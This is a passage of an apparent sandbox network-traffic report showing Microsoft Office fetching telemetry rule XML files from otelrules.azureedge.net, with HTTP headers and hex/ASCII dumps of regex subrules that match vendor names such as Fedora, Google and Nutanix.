encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.12	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:13 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:13 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151213Z-1746fd949bdjzh7thC1EWR3g6400000001ag00000000kysq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:13 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.12	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:13 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:13 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 0e2e5981-501e-0035-17c1-45c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151213Z-1746fd949bd6ztf6hC1EWRvq2s0000000140000000000yu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:14 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.12	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:14 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151215Z-1746fd949bdlnsqphC1EWRurw000000001ag000000001y1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.12	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:14 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:15 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151215Z-1746fd949bd77mkmhC1EWR5efc00000001h000000000nmz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.12	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:14 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151215Z-1746fd949bdtlp5chC1EWRq1v400000001cg000000005xyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.12	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:15 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151216Z-1746fd949bdjrnwqhC1EWRpg2800000001eg00000000bbk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.12	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:17 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 901a75be-701e-0053-76cb-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151217Z-1746fd949bdqpttnhC1EWRe1wg000000014000000000crfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.12	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:17 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151217Z-1746fd949bddgsvjhC1EWRum2c00000001kg00000000kck8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.12	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:18 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151218Z-1746fd949bdwt8wrhC1EWRu6rg00000001ng000000000779 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.12	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:18 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 686307fb-901e-0029-3dcc-45274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151218Z-1746fd949bdxk6n6hC1EWRdr8c00000001a0000000002924 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.12	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:19 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:19 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151219Z-1746fd949bd2cq7chC1EWRnx9g000000010g00000000c1ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:19 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.12	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:19 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151219Z-1746fd949bdxk6n6hC1EWRdr8c00000001ag000000000cqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 